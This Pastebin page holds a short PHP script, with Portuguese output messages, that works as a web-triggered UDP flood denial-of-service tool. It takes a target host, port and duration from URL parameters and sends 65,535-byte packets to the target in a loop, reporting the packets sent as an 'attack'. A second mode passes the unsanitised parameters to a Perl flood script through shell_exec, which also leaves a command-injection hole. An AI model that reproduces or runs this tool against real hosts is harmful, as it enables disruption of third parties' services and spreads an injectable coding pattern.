Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $packets = 0;
- $ip = $_GET['host'];
- $rand = $_GET['port'];
- set_time_limit(0);
- ignore_user_abort(FALSE);
- $exec_time = $_GET['time'];
- if ($_GET['mode'] == "udp"){
- $time = time();
- print "Ataque: $ip on port $rand <br><br>";
- $max_time = $time+$exec_time;
- if ($ip == null)
- {
- echo "Enter a host";
- }
- for($i=0;$i<65535;$i++){
- $out .= "X";
- }
- while(1){
- $packets++;
- if(time() > $max_time){
- break;
- }
- $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
- if($fp){
- fwrite($fp, $out);
- fclose($fp);
- }
- }
- echo "Ataque Completo ".time('h:i:s')." com $packets (" . round(($packets*65)/1024, 2) . " mB) pacotes em média ". round($packets/$exec_time, 2) . " packets por/segundo \n";
- } else if ( $_GET['mode'] == "perl") {
- if ($ip == null)
- {
- echo "Enter a host";
- }
- else{
- shell_exec("perl /var/www/html/udp.pl $ip $port 65500 $time");
- echo "Attack Done";
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement